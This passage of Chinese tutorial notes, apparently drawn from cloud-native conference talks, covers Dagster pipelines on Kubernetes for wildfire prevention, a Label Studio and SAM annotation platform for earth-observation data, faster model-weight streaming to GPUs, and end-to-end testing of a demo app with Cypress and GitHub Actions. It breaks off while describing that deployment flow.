  2. 结合基础设施数据:获取能源提供商提供的电线杆、线路坐标及地形等信息。
  3. 生成风险地图:结合上述两类数据,创建风险地图。当植被过于接近电力线路时,野火风险升高。公用事业公司可以据此地图,在野火蔓延前及时修剪植被。

这个方案的核心目标是让公用事业公司能够快速定位风险区域并采取行动,从而预防野火。

技术栈的演进:从Jupyter Notebook到Dagster

上一节我们介绍了业务解决方案。本节中我们来看看支撑该方案的技术架构是如何演进的。

作为一家初创公司,Overstory初期需要快速迭代。最初的技术栈非常简单:

  • Kubernetes:提供了灵活性与稳定性的平衡,能够支持从1 CPU + 4GB内存72 CPU + 数TB内存的各种工作负载。
  • Jupyter Hub:允许数据科学家在不同资源配置的机器上运行Jupyter Notebook,以进行数据处理和分析实验。

然而,这种基于Jupyter Notebook的方式很快遇到了瓶颈:

  • 可重复性与追踪困难:难以复现过去的实验,例如经常需要询问“一年前我们用的是哪个pandas版本?”。
  • 流程高度手动化:每个客户交付都需要分配一名数据科学家手动逐步运行Notebook、修复问题,效率低下。

因此,团队设定了两个主要目标:

  1. 摆脱对Jupyter Notebook的依赖,因为其难以维护、测试,且Git版本控制复杂(Notebook本质上是大型JSON文件)。
  2. 自动化工作流运行,打破数据科学家数量与项目数量之间的绑定关系,需要一个数据工作流编排器。

经过探索,团队选择了Dagster。这是一个开源项目,具有以下优点:

  • 快速开发:通过dagster project scaffold命令即可获得包含最佳实践的项目结构。
  • 易于本地测试和入门:完全基于Python模块,深受数据科学家和工程师喜爱。
  • 云原生设计:其架构理念与云原生高度契合。

Dagster在Kubernetes中的架构与核心概念

现在,让我们深入了解Dagster在Kubernetes集群中的部署架构及其核心概念。

Overstory在Kubernetes集群中运行Dagster,其架构是一个经典的微服务架构:

  • Dagit:Web界面,用户可通过它查看系统概览、成功或失败的流水线。
  • Dagster Daemon:负责根据计划或条件运行流水线,监控运行状态,并在需要时重试步骤或通知用户。
  • Code Locations:每个代码位置是一个gRPC服务器,向Dagster Daemon和Web界面通告其包含的流水线、计划、传感器和资产等信息。每个代码位置是一个独立的Deployment,实现了团队间的高度隔离。

Dagster的云原生特性体现在其抽象能力上,以下两个概念尤为突出:

I/O管理器
它抽象了数据存储位置。开发者只需关注业务逻辑,Dagster会根据运行环境自动决定数据存储位置。例如:

  • 在Kubernetes中运行时,输出保存到S3或Google Cloud Storage。
  • 在本地运行时,输出保存到本地文件系统。
    这使得代码无需为不同环境编写条件逻辑。

资产
在云时代,数据形式多样(BigQuery表、PostgreSQL数据库、云存储文件等)。Dagster引入了“资产”概念,任何数据实体都可以被定义为资产。其强大之处在于显式地建模资产之间的依赖关系,关注数据如何关联,而非数据如何构建。这使数据流经系统的路径一目了然。

构建内部库与资源调度优化

随着对Dagster的深入使用,团队开始构建内部库以封装通用模式和优化资源使用。

团队构建了一个名为Maple的内部库。在Dagster中,一个op代表流水线中的一个步骤。通过Maple,可以方便地定义步骤的资源需求。

以下是一个示例代码,展示了如何定义一个需要GPU和高内存的步骤,并申请临时存储空间:

@op(
    required_resource_keys={“gpu”, “high_memory”},
    config_schema={
        “node_selector”: Field(dict, default_value={“cloud.google.com/gke-accelerator”: “nvidia-tesla-t4”}),
        “cpu_request”: Field(str, default_value=“32”),
        “memory_request”: Field(str, default_value=“390Gi”),
    }
)
def my_compute_intensive_step(context):
    # 步骤逻辑
    pass

# 在资源定义中申请临时卷
@resource(config_schema={“scratch_volume_size”: Field(str, default_value=“150Gi”)})
def ephemeral_volume_resource(context):
    # 创建临时卷的逻辑,利用Kubernetes临时卷特性
    # 临时卷的生命周期与Pod绑定,Pod终止时卷自动删除
    return scratch_volume_path

Dagster提供了灵活的步骤到Pod的映射策略:

  • 单Pod模式:一个流水线的所有步骤在同一个Pod(节点)上运行,共享申请的资源。适用于步骤间数据交换频繁的场景。
  • 多Pod模式:每个步骤在独立的Pod中运行,可以拥有不同的资源需求(CPU、GPU、内存)。这允许精确分配资源,例如只为需要使用GPU的步骤申请GPU,而不是为整个流水线预留,从而显著降低成本。

迈向平台化:增强可观测性与交付控制

尽管Dagster功能强大,但在某些方面仍存在局限,促使团队在其之上构建一个交付平台。

团队遇到的两个主要挑战是:

  1. 聚合性可观测性不足:难以获取跨流水线的聚合统计数据(如过去30天某流水线的失败率)。
  2. 复杂依赖难以建模:业务中某些复杂的触发条件和参数配置难以直接用Dagster原生概念建模。

因此,团队决定构建一个平台层。Dagster继续作为工作流引擎,但流水线的触发逻辑、参数和配置由外部平台控制。

平台架构如下:

  • 底层:GKE集群中运行Dagster。
  • 平台层(Google Cloud Run):包含多个微服务(Starter, Router, Trigger, Watcher),它们通过Google Pub/Sub进行通信。
  • 流程:当Starter触发新事件后,Router、Trigger和Watcher协同工作,通过Dagster API按特定顺序和设置触发任务,并监控执行状态。

实现全面的可观测性

平台各微服务间通过Pub/Sub通信,这为实现全面的可观测性提供了基础。

团队将所有Pub/Sub消息导出到BigQuery,同时使用OpenTelemetry将数据导出到Google Cloud Monitoring。最后,利用Grafana(支持多数据源)从BigQuery和Cloud Monitoring拉取数据,在一个统一的仪表板中展示,为团队提供完整的系统可视性。

这个“编排平台仪表板”使得团队能够:

  • 跟踪每个交付任务的每一步状态。
  • 识别需要关注或失败率异常高的步骤。
  • 发现需要人工干预的环节(尽管团队正致力于减少此类情况)。

成果总结与未来展望

经过近一年的努力,团队取得了显著成果:首次实现了端到端零接触交付,在30分钟内完成了整个流程(复算旧交付以验证输出一致性)。这是平台团队与SRE团队紧密合作的结晶。

展望未来,团队计划在以下几个方向继续努力:

  • 进一步自动化:最大限度减少人工干预,降低错误风险。
  • 采用Dagster新特性:如资产检查,在资产物化时自动运行检查,确保不破坏下游API,提升流水线可靠性。
  • 优化资源调度:探索打破“一步一节点”的假设,实现单节点多任务;研究GKE节点池自动配置和Kubernetes动态资源分配。
  • 改进资源预测:由于输入图像数据差异导致处理资源需求波动大,团队希望改进资源预测,避免资源不足或过度配置。
  • 简化API与增强可观测性:让Maple API更易用,进一步抽象Kubernetes细节,并持续监控和可观测性方面的改进。

通过所有这些努力,团队希望使交付更可靠,让客户更满意,并最终帮助预防下一场大型野火。


本节课中我们一起学习了如何利用云原生技术栈(特别是Kubernetes和Dagster)构建一个用于野火预防的AI驱动基础设施。我们从业务挑战出发,回顾了技术架构从简单到复杂的演进过程,深入探讨了Dagster的核心概念、资源调度优化、平台化构建以及可观测性实践。这套方法论不仅适用于野火预防,也为处理其他需要复杂数据流水线和资源管理的AI应用提供了宝贵参考。

052:构建大规模地球系统特征检测平台 🛰️

概述

在本教程中,我们将学习如何结合云原生技术、机器学习和气候科学,构建一个用于大规模地球系统特征检测的协作平台。我们将探讨从数据获取、处理、标注到模型训练和可视化的完整流程,并了解如何利用Kubernetes等工具管理这一复杂系统。


第1章:背景与挑战 🌍

我是Arman,一名在线云数据访问服务专家。我与哈佛大学的同事、气候科学家团队以及实习生共同开展这个项目。

首先,我想介绍欧洲的公共航天部门。需要声明的是,我并非任何这些机构的官方代表,以下信息均基于公开资料。

  • 欧洲空间局:欧洲通往太空的门户。ESA与各国机构、成员国合作,协调诸如伽利略或哥白尼等多项任务和计划。
  • 欧洲气象卫星开发组织:负责运营用于监测天气、气候和环境的卫星。EUMETSAT同样与各国机构、成员国及其他航天相关机构合作。
  • 欧洲中期天气预报中心:提供24/7的业务服务,生成并向其成员国和合作国传播数值天气预报。ECMWF拥有高性能计算设施、相关的通用云基础设施以及一个气象归档和检索系统。

我曾先后在EUMETSAT和ECMWF担任云计算工程师。

接下来,我们快速了解一下气候数据记录。CDR指的是任何经过校准的、对气候科学家或气候应用有用的长期数据记录。当前或过去的卫星数据或档案被用来生成CDR。

然而,问题在于这些数据量非常庞大,达到数PB级别。将数据从一个地方移动到另一个地方,或者下载到本地计算机进行处理都非常困难。我们拥有多个数据源和访问方法,通常每个新项目都有自己独特的数据归档和访问方式。源数据格式多样,有些是二进制格式,因此在开始处理气候数据之前需要进行某种预处理,这需要多个库来处理所有这些操作。


第2章:核心理念与欧洲气象云 ☁️

我们有一个想法,让最终用户的工作变得更简单:如果用户无法承担移动数据的成本,那就让计算靠近数据。这就是欧洲气象云诞生的初衷。其理念是将用户迁移到我们拥有的计算资源附近,并为他们分配一些计算资源。这是一种基础设施即服务的理念。

这并非私有云,因为我们向成员国和其他拥有研发资金的机构提供云资源。这也不是公有云,任何普通公民无法直接注册获取资源。因此,我们称之为社区云,一个为地球观测和科学家服务的社区云。

关键构想是让ECMWF的虚拟机进行数据缩减和降采样,然后仅将必要数据传输给EUMETSAT的虚拟机,后者进行卫星图像处理。

欧洲气象云带来的最大好处是,它为我们气象界提供了一个成熟的方式,让EUMETSAT、ECMWF和我们的成员国能够协同工作。我们拥有了一个可以共同合作的通用平台。


第3章:地球系统特征检测的目标 🎯

你可能会问,CDR为何重要,以及我们如何让它更易于访问。CDR提供了关于地球大气、陆地、冰冻圈和海洋在长时间尺度上如何、在哪里以及多大程度发生变化的长期校准信息。

例如,这对于分析过去几十年的海冰范围至关重要,可以为气候学家提供重要线索;或者,这可以成为航空领域大雾的早期预警。因此,高质量的系统特征识别对于进一步开发检测此类异常的应用程序和机器学习算法至关重要。

我们的项目有两个目标来构建这个地球系统特征检测平台:

  1. 支持我们的成员国从地球观测数据中进行特征检测,以提供早期预警(例如之前提到的大雾示例)。
  2. 为已识别特征的长时间序列收集一个全球数据库(例如40年的冰盖数据示例)。你需要收集长时间段内的这些特征,以便识别变化。

最终目标是建立一个社区平台来标注这些特征,维护这些特征的数据库,并提供探索、可视化、修改和导出所有这些已收集特征的可能性。


第4章:模型评估与挑战 🤖

为了实现这一目标,我们评估了使用预训练机器学习模型通过迁移学习来识别和分类热带风暴的模型。我们扫描了来自日本气象厅卫星的大约2000张图像,其中包含大约5000个热带风暴。我们使用国际气候管理最佳路径档案数据库作为地面实况,并利用德沃夏克强度指数来对这些风暴进行分类。

我们发现,在评估的模型中,Faster R-CNN提供了最佳性能。

然而,模型识别出的热带风暴数量异常多。对于我这样的IT专家来说,这些看起来都像热带风暴。但问题是,模型需要领域专家来检查所有这些不同的标注,因为有些被模型识别但未被IBTrACS数据库收录的风暴实际上是误报。

因此,领域专家的手动标注显然是必需的,无法实现完全自动标注。这意味着标注工作必须手动完成。我们有成千上万张需要识别的图像,需要气候科学家坐在电脑前手动标注所有内容。


第5章:SAM模型的启示与平台蓝图 💡

在另一个完全独立的项目中,我和朋友们探索了Segment Anything模型用于卫星图像分割。我们发现,尽管SAM并非在那种数据集上训练,但它实际上在分割卫星图像方面表现非常出色。

我们开发了一个小应用,用户可以在图像上选择感兴趣区域,SAM会从图像的其余部分分割出该区域。然后,可以将这些信息导出到任何可视化工具中使用。这给了我一个启发:也许我们可以创建一个环境,结合所有这些不同的工具。

我们需要为地球观测科学家创建这样一个协作环境。

我们构思的结果是:结合机器学习模型、Kubernetes和气候科学家,共同构建一个地球系统特征检测平台,作为气候科学家进行研究的协作平台。

以下是这个联合标注和模型开发平台的蓝图:

  1. 输入:包括输入标签数据和源数据。
  2. 数据准备:源数据格式多样,需要使用库进行预处理,生成图像并存储。
  3. 标注平台:使用社区工具如Label Studio,并利用SAM帮助科学家标注他们检测到的特征。
  4. 数据库:将标注的特征导出到数据库(例如使用PostGIS扩展的PostgreSQL)进行长期存储。
  5. 可视化:通过任何网络地图服务进行可视化。

第6章:平台基础设施与资源管理 ⚙️

那么,底层的基础设施是什么?我们拥有来自欧洲气象云的基础设施即服务,它基于OpenStack。这是一个概念验证,用于确定收益以及未来如何在生产环境中实施。

我们使用Kubernetes,通过Rancher管理和配置Kubernetes集群。我们使用OpenStack云控制器管理器和CSI插件进行存储访问,并使用GPU Operator向Pod提供GPU资源。我们还有实例组来自动扩展工作节点。

我们的GPU资源非常有限,只有两块旧的A6000 GPU,以虚拟GPU形式提供。资源非常稀缺,因此我们需要格外小心地使用它们。

我们使用NVIDIA GPU Operator来简化安装、维护和操作。我们实施了时间切片以实现更好的资源共享和利用率。选择时间切片是因为我们的显卡不支持其他方式,并且这对于我们主要运行的重复性、大多无关的数据处理任务来说是一个不错的权衡。


第7章:设计原则与工具集成 🛠️

在平台构建过程中,我们识别了一些挑战:向地球观测科学家隐藏基础设施复杂性、集成多个工具、大规模部署和管理这些工具,以及缺乏有用的文档。

为此,我们制定了一些设计原则:

  1. 使用开源和开放许可的生态系统。
  2. 尝试通过GitOps和基础设施即代码实现一切自动化。
  3. 采用Kubernetes优先的方法,优先使用官方Operator,如果不成熟或不存在,则使用得到良好支持的Helm图表,只有在没有其他选择时才构建自定义解决方案。

我们最终构建了一个灵活、开放、对机器学习友好的平台。为了让科学家更容易上手,我们为他们准备了一些高需求的数据。科学家们已经熟悉JupyterHub,因此我们提供了一个托管中心,让他们可以与平台中的其他工具交互,并拥有GPU处理能力。当然,他们也可以使用自己的工具。

我们使用GitOps管理所有应用。我们有一个Argo CD来管理所有应用:JupyterHub、Label Studio、Nuclio、运行在Nuclio上的函数、云原生PostgreSQL等。如果存在Operator,我们可以结合GitOps最佳实践,自动化所有工具,至少在一个单一事实来源中,这为我们向最终用户呈现平台的方式提供了一致性。


第8章:核心工具详解与挑战 🔧

  • JupyterHub:提供一个托管中心,预装了插件和工具,方便科学家使用。
  • Label Studio:用于标注。我们发现它在API和UI方面是最可扩展的,非常 customizable。
  • Nuclio:作为无服务器框架。它非常适合地球观测用例,维护开销低。它将代码视为一个整体,可以在运行时构建容器镜像,然后将其作为函数运行。这非常适合我们大多数情况下拥有的处理器链。但它的缺点包括缺乏内置的工作流管道,函数版本管理与模型注册表管理不同,并且调试已部署的函数可能比较棘手,镜像往往较大。
  • 机器学习后端集成:Label Studio期望一个Docker Compose设置。我们做了一些手动工作,用Nuclio上已有的工具替换了它,并使用Label Studio的机器学习SDK来构建模型并以Label Studio期望的方式呈现。

第9章:平台演示与工作流 🖥️

在演示中,可以看到Label Studio中已经上传了大约1800张图像。我们有来自IBTrACS数据库的标签,以及使用SAM模型的标签。用户可以选择标签,放置关键点,SAM会进行分割并生成标签。标注完成后,可以接受标签,然后将这些信息提取到地球系统特征数据库中。

在可视化方面,可以看到大气运动矢量,即连续卫星图像中单个云或水汽模式的运动。当将所有标注导出到数据库并尝试重新可视化时,可以看到所有形状,展示了云或水汽的运动。


第10章:未来展望与总结 🚀

下一步,我们需要与EUMETSAT成员国合作开发数据准备工具。我们需要运行联合标注活动来标注更多数据。我们需要为每个特征确定最佳可用方法。当然,我们需要为专家提供更多数据,以便他们在模型开发方面做更多工作。我非常希望用标注数据训练机器学习模型或改进SAM集成。我也非常希望拥有更好的GPU。

我们还计划改进和扩展地球系统特征数据库,增加更多特性和能力。

总结

在本教程中,我们一起学习了如何构建一个结合云原生技术和机器学习的地球系统特征检测平台。我们从数据挑战出发,探讨了欧洲气象云的概念,明确了平台目标,评估了模型并认识到手动标注的必要性。我们看到了SAM模型的潜力,并设计了完整的平台蓝图。我们深入了解了基于Kubernetes的基础设施、资源管理策略、设计原则以及核心工具如JupyterHub、Label Studio和Nuclio的集成与挑战。最后,我们预览了平台工作流并展望了未来发展方向。这个项目展示了跨学科合作如何利用现代技术解决气候科学中的复杂问题。

053:在Kubernetes上通过模型流式传输优化模型服务

在本教程中,我们将学习如何在Kubernetes上优化模型推理服务,特别是通过模型权重流式传输技术来解决模型加载的冷启动问题。我们将探讨传统方法的挑战,并详细介绍Run AI模型流式传输器的原理、优势和使用方法。

概述:模型推理与冷启动挑战

在理论层面,模型推理涉及使用训练好的模型处理新数据或用户查询,并生成预测或输出。在云原生环境中,如何在GPU上高效地为模型提供服务是核心议题。

传统Web应用通常使用自动扩缩器来处理流量波动。当流量上升时,会启动新的应用副本;当流量下降时,则缩减副本以节省成本。然而,在AI领域,这种做法面临巨大挑战,最主要的原因是冷启动问题

启动一个新的AI模型服务副本需要很长时间,原因包括:

  1. GPU机器资源调配:相比CPU机器,GPU机器的资源调配通常更慢,因为云端GPU资源更稀缺,且需要安装CUDA驱动、容器运行时等大量软件库。
  2. 容器镜像加载:AI应用的容器镜像通常很大,包含许多Python库,加载耗时。
  3. 推理引擎启动:启动推理引擎本身也需要可观的时间。
  4. 模型权重加载:从存储位置下载模型权重到GPU内存中,这个过程可能非常漫长。

本教程将重点讨论最后一点——模型权重的加载优化。以Llama 3模型为例,8B参数版本(使用16位精度)的权重文件大小约为15GB,而70B版本则超过100GB。对于像DiT这样的扩散模型,权重可能超过1TB。下载并加载这些权重可能需要数分钟甚至超过十分钟。

为什么优化模型加载至关重要?

优化模型加载时间对于以下几个推理场景至关重要:

以下是几种关键的推理用例:

  • 实时推理:单个模型面临高负载,需要多个副本运行在GPU上。当流量激增需要扩容时,用户无法忍受数分钟的等待时间。通常的解决方案是过度配置,即预先启动更多GPU来运行服务副本,但这导致了高成本和低GPU利用率。
  • 多模型服务:需要为不同用户提供多个模型,但每个模型的访问频率都不高。理想的方案是使用缩容到零,将不活跃的模型存储在别处,仅在用户查询时启动副本。但如果启动副本需要数分钟,就无法满足低延迟应用的需求。因此,常见的做法也是让所有模型常驻在GPU上,再次导致高成本和低利用率。
  • 离线推理:运行批处理作业处理大量数据。作业启动时开始处理,完成后副本关闭。用户需要为副本启动的整个时间付费。如果启动时间长达数分钟,这部分成本就相当显著。

因此,减少冷启动时间,特别是加速模型加载到GPU的过程,具有重大意义。这也是Run AI模型流式传输器项目的目标。

上一节我们介绍了模型推理面临的冷启动挑战,接下来让我们深入模型加载过程,看看传统方法存在哪些瓶颈。

深入剖析:传统模型加载流程

让我们放大容器内部,仔细看看传统的模型加载过程。

模型通常存储在某种存储系统中,可能是本地存储或对象存储。加载过程分为两个主要步骤:

  1. 将模型移动到CPU内存:首先需要将模型从存储读取到CPU内存。在此过程中,可能还会进行模型分片、量化等操作,这些都会增加额外时间。
  2. 将权重传输到GPU内存:模型在CPU内存中就绪后,需要将其权重传输到GPU内存中。

关键问题在于,这两个步骤是顺序执行的,没有并行化。这种串行方式非常耗时。

在开始设计解决方案时,我们明确了几个核心需求:

以下是创建项目前我们确立的几个关键需求:

  • 并行化:顺序加载无法满足性能要求,我们需要支持并行工作的方案。
  • 多存储类型支持:需要支持多种存储类型(如本地文件系统、S3等)。某些现有库(如safetensors)对S3的支持有限,我们不希望用户为了适配存储类型而被迫更改代码库或存储方案。
  • Safetensors格式兼容:Safetensors正成为模型权重的标准格式,它非常安全。我们希望项目能原生支持此格式。
  • 易于与推理引擎集成:我们不希望强制用户使用某个特定的推理引擎。项目应该能轻松集成到不同的推理引擎中,如VLLM、TGI等。

这些需求促使我们创建了Run AI模型流式传输器

解决方案:Run AI模型流式传输器

我们创建了一个包含C++实现的Python SDK。它旨在加速从各种类型存储(网络文件系统、S3、磁盘等)将模型加载到GPU的过程。

该方案的两个关键技术点是:

  • 并发读取:在将张量流式传输到GPU的同时,并发地从存储中读取模型张量
  • 均衡工作负载:将张量划分为大小相等的部分进行读取,以饱和存储带宽。

接下来,我们详细看看Run AI模型流式传输器的特别之处。

Run AI模型流式传输器的核心特性

正如之前提到的,我们实现了并发性。我们使用多个读取请求从存储中并发读取模型张量,并同时将它们流式传输到GPU。

我们还提供了一些可调参数,您可以根据自己的存储类型和硬件配置进行调整:

以下是用户可以调整的关键参数:

  • 并发级别:根据存储类型调整并发线程数。
  • 数据块大小:选择如何划分safetensors文件,即每个线程读取的数据块大小。
  • CPU内存使用量:您可以定义流式传输器可使用的CPU内存上限,以适应有限或充裕的内存环境。

通过调整这些参数,Run AI模型流式传输器可以优化性能。

均衡读取工作负载至关重要。AI模型中的张量大小各异。我们将这些张量划分为相等的部分进行读取,以便更均匀地利用存储带宽。

我们支持多种存储类型,包括本地文件系统和基于云的对象存储。

无需转换任何张量格式。我们支持广泛采用的Safetensors格式,无需将其转换并单独存储。

我们创建了Run AI模型流式传输器迭代器,它本质上是一个Safetensors迭代器。其工作方式与传统加载模型的Safetensors迭代器非常相似,因此可以轻松集成到VLLM、TGI等各种推理引擎中。

特别地,如果您使用的VLLM版本高于0.66,Run AI模型流式传输器现已内置在VLLM容器和版本中,您可以开箱即用。


现在,让我们看看它在实际中的性能表现。

性能基准测试

我们进行了一系列基准测试。这里简要概述一下测试设置,详细报告可通过文末的二维码获取。

我们使用Meta Llama 2 8B模型(约15GB),将其存储为单个Safetensors文件。硬件上,我们使用AWS上的单颗A10G GPU。我们测试了三种不同的存储类型:

  1. 本地SSD(包括gp3和io2类型,其中io2 SSD具有更高的吞吐量)。
  2. 与实例位于同一区域的Amazon S3。

我们主要测试了两个场景:

  1. 独立加载器性能:比较Safetensors加载器、Run AI模型流式传输器和Tensorizer加载模型从存储到GPU所需的时间。
  2. 端到端启动时间:测试使用VLLM时,启动引擎并加载模型的总时间。

测试结果显示,Run AI模型流式传输器带来了显著的性能提升。

从这些实验中,我们得出了一些关键结论:

以下是基准测试的主要发现:

  • 并发性驱动加速,但有上限:增加并发性可以显著提升速度,但一旦达到存储带宽的饱和点,继续增加并发性将无法带来更多提升,这是物理定律的限制。
  • 均衡工作负载分布至关重要:张量大小不一。将读取工作划分为均匀的块分配给线程,有助于优化带宽饱和,使流式传输过程更快。想象一下,如果一个张量是GB级别,另一个是MB级别,那么读取进程就需要等待那个GB级张量先读完。
  • 存储带宽影响巨大:对于需要快速模型访问的部署,投资高性能存储非常重要。在应对冷启动问题时,更高的存储带宽可以大幅减少加载时间,尤其是在本地和混合云环境中。
  • 需要针对存储类型调优参数:您应该检查并找到适合您特定存储类型的最佳并发级别。如果对CPU内存有特定要求,也需要调整流式传输器的参数,因为这些设置对冷启动时间影响很大。
  • 在S3上表现优异:我们为S3设计的方案(为每个线程创建一个AWS S3客户端,每个线程向后端发送多个异步请求)效果非常好,性能提升显著。在某些测试中,结果好到难以在图表中直观显示。

此外,在云端测试中,我们还注意到一些与流式传输器本身无关但值得注意的情况:

以下是在云端进行基准测试时的额外发现:

  • 实际带宽可能低于理论值:即使云服务商文档标明某个实例类型的存储带宽可达4GB/s,我们在实际测试中可能只观测到最高2GB/s。存在一些实际限制,需要提前规划。
  • 注意S3缓存效应:在S3后端可能存在缓存。如果连续运行实验,可能会看到性能异常加速,这对于评估真实的冷启动性能是不利的。因此,在进行云上基准测试时,确保在测试之间留有足够的冷却期。

了解了当前的表现后,让我们看看未来的发展方向。

未来发展路线图

我们发布了新版本0.13,它包含完整的AWS S3原生身份验证支持。现在我们也支持Google Cloud Storage,并有一些可用性改进。

在路线图中,我们计划支持更多激动人心的功能:

以下是即将推出的功能:

  • 分片模型支持:支持加载分布在多个文件中的大型模型。
  • 优化多GPU模型加载:提升在多GPU环境下的加载效率。
  • 并行多文件加载:同时从多个文件加载数据。
  • 支持GPU直接存储:允许GPU直接访问存储,绕过CPU,进一步提升速度。

我们特别对GCS支持感到兴奋。我们正在与Google Kubernetes Engine团队合作,初步反馈非常积极。与直接从云对象存储下载并构建模型相比,结合VLLM使用模型流式传输器,他们观测到了96%的模型加载时间减少

总结与资源

在本教程中,我们一起学习了在Kubernetes上优化模型推理服务所面临的冷启动挑战。我们深入探讨了传统串行加载模型的瓶颈,并介绍了Run AI模型流式传输器如何通过并发读取均衡负载来显著加速模型从存储到GPU的加载过程。我们还回顾了基准测试的关键发现,并展望了该项目的未来发展方向。

优化模型加载时间对于实现高效的实时推理、多模型服务和降低成本至关重要。Run AI模型流式传输器作为一个开源工具,为应对这一挑战提供了有力的解决方案。

相关资源:

  • GitHub仓库:请扫描下方二维码访问项目源码。
  • 基准测试白皮书:请扫描下方二维码获取包含详细结果的基准测试报告。

如果您有任何问题,欢迎讨论。此外,Run AI平台的核心——Run AI调度器,现已基于Apache许可证开源。如果您在调度AI工作负载,我们非常欢迎您的反馈、贡献或作为早期采用者进行尝试。

054:爱上端到端测试

在本教程中,我们将学习端到端测试的核心概念、实践方法以及如何将其集成到现代云原生应用的开发与部署流程中。我们将通过一个具体的汉堡店应用示例,演示如何使用Cypress、Kubernetes、GitHub Actions和Argo CD等工具构建一个完整的、自动化的端到端测试与部署流水线。

为什么需要测试?🧐

我们进行测试是为了评估和验证代码的行为是否符合预期。

软件开发中最重要的两件事是确保代码正常工作,以及能够快速推送变更。如果代码出现意外行为,用户遇到意外情况,这通常被称为Bug。我们不希望这种情况发生。

因此,通过测试,我们不仅要确保测试运行,还要实现测试自动化,以便能够快速推送变更,并确保软件运行着我们希望用户使用的最新功能。

测试的价值 📚

我们的好朋友Adler也曾这样评价测试:它可以作为文档。对我而言,我经常通过先阅读测试来学习项目,运行它们,观察它们如何操作、如何影响代码,甚至稍作修改以确保我理解正在发生的事情。

此外,测试还能促成清晰的设计,并鼓励生产力。我们有信心,在推送变更时,它们不会对我们的系统产生不利影响。

什么是端到端测试?🔄

端到端测试是一种测试类型,我们将测试整个流程。

在软件开发中,你可以进行多种不同类型的测试。有单元测试,测试尽可能小的对象或这些对象上的功能。然后是集成测试,我们将这些部分组合在一起。而端到端测试,我们将体验用户所体验的。

如果你有一个Web应用或移动应用,我们将测试与后端交互的用户界面,而后端又与我们的数据存储交互。我们希望整个流程都被覆盖。

你可能会想,这工作量很大。确实,编写这些测试需要时间,思考它们如何影响系统或如何构建流程需要时间,设置开发或测试环境也需要时间。这确实需要投入。

测试如同举重 🏋️

就像举重一样,好的测试让我们的应用更强大。不仅是端到端测试,我们还应该牢记其他类型的测试,如单元测试和集成测试,确保每个不同的方面都被覆盖。互联网上的一个例子提醒了我们原因。

一个现实世界的例子 🔒

这个锁经过了单元测试。它完全能用。或者它不能用。

谁写过这样的代码?我也写过。你写代码是为了做一件事,然后发现,哦,等等,它做了这个我不希望它做的事。因此,你需要确保有测试覆盖你的每一种情况。

测试环境的重要性 🎯

你还需要确保测试环境尽可能接近生产环境。

在我的职业生涯中,遇到过这样的情况:测试环境可能运行着最新、最先进的版本,而生产环境则更稳定,不常做改动。你需要确保两个环境相同,或尽可能接近。

就像我们的小英雄一样,他看到那个斜坡,心想:我能行,我能冲过去,轻松完成这个赛道。而现实中,它看起来更像是这样。用户可能会遇到生产环境中出现而测试环境中未出现的潜在问题,如内存问题、延迟或网络延迟。

因此,我们希望保持环境非常、非常相似。但这不正是容器的承诺吗?我们使用容器不正是为了这个吗?我们将应用代码和依赖项打包成一个整洁的小容器,然后我可以将这个容器分享给你,在你的系统上运行,它应该是一样的,应该以相同的方式运行。

但是,围绕该容器的配置以及该容器的运行方式呢?它们相同吗?思考一下。

演示应用:汉堡店追踪器 🍔

我想分享一个我构建的演示,主题是我非常热爱的。我喜欢汉堡。谁喜欢汉堡?我也喜欢。我总是可以吃汉堡,它们太棒了。所以我构建了这个应用来追踪我去过的所有汉堡店,并希望记住它们,同时也让我的朋友投票,看看他们是否也喜欢。

我想展示一张它的图片,因为我想让你看到我们为这个界面编写测试时的情况。好的,这就是我们要处理的界面,它有一个汉堡店列表、一个添加按钮和一些投票机制。这样你可以直观地看到它。

我是一个视觉学习者,我需要看到这个,我需要看到图表,但同时我也想看到代码。所以我今天会尝试向你展示这三者,以便每种不同类型的学习者都能理解正在发生的事情。希望在我分享这些想法和工具时,你能将它们带回你的团队。

工具是可以替换的。我可能会在这次讨论或演示中展示一个测试框架或其他类型的工具,而你说,嗯,我不使用那个,但我更喜欢另一个。这很好。希望你能采纳我谈论的原则,并将其应用到你的团队中,让你的测试变得更好。

测试工具:Cypress 🛠️

说到测试工具,我将使用Cypress。Cypress是一个用于JavaScript的开源框架,允许你为你的应用编写JavaScript测试来测试你的应用。

Cypress本质上允许你断言事物并检查UI的不同方面,在DOM中查找选择器,稍微操作它们,然后查看这些更改是否符合你的预期。

事实上,让我们看一下我们的测试代码。来到我的项目,我的应用相当简单。我有一个后端、一个前端和我的E2E目录。E2E目录将有自己的镜像,所以它们将成为我应用中的独立容器。

我的测试代码看起来像这样。来到Cypress E2E目录,这是spec文件。在这里,我设置了几个不同的值。首先,我获取一个前端URL。这个前端URL将测试Cypress如何访问我的应用,因为我想测试整个流程,而不仅仅是某个端口上的localhost,我想实际测试正在发生的入口流量。

然后,我将传入一些数据到我的应用中。所以我会在那里放一个新的汉堡店。现在,我将逐步执行每个测试。首先是检查页面是否加载,因为如果页面不加载,其余的测试都无法工作,对吧?所以你首先要在每个函数运行前检查页面是否加载。

因此,我们说我们正在访问汉堡店网站。然后我们在屏幕或页面窗口上找到一个元素。我们说,让我们找到这个带有“add”的锚标签。那是我们的添加按钮。在下一个测试中,我将点击那个添加按钮,因为我假设我找到了它。

所以你逐步执行你的UI,逐步构建你的流程。所以我要点击它。点击之后,我希望它会打开一个表单让我添加我的汉堡店。然后我将保存它并检查我的列表。

这就是我的测试将为我的应用做的事情。如前所述,我的应用将包含两个容器。它们在一个集群中运行,定义如下。

我有一个后端的部署。它将引用我的后端镜像,我的汉堡后端镜像。它将带有一个在构建过程中定义的镜像标签。然后我有一个前端,非常类似。然后我定义了一个入口。

底部这里有很多入口提供商。我今天将使用ngrok,随着我讲解我的流程,我们会讨论原因。这就是代码。

环境架构图 🏗️

我们的环境将看起来像这样。再次强调,我喜欢看代码,也喜欢看图表,这样我可以直观地看到事物如何协同工作。

我试图让我的生产环境和测试站点尽可能一致,尽可能相似。两者都运行前端和后端Pod。然后我有一个测试代码容器,它将与我的测试集群交互。

流程我们稍后会看到。我们将使用GitHub Actions作为运行CI流程的平台,即构建测试然后部署应用的流程。在GitHub Action内部,我们将使用K3s,这是一个超轻量级的、优秀的Kubernetes发行版,允许你启动一个Kubernetes集群,然后在运行GitHub Action时将其关闭。

流程概览 🔄

我们的流程大致如下。作为开发者,我将有一个应用代码仓库,其中包含我的GitHub Action,运行我的K3s集群。这也将是运行我的Cypress代码的集群或区域。

然后,我将有我的配置仓库。这涉及到我想在此讨论的一些GitOps原则。

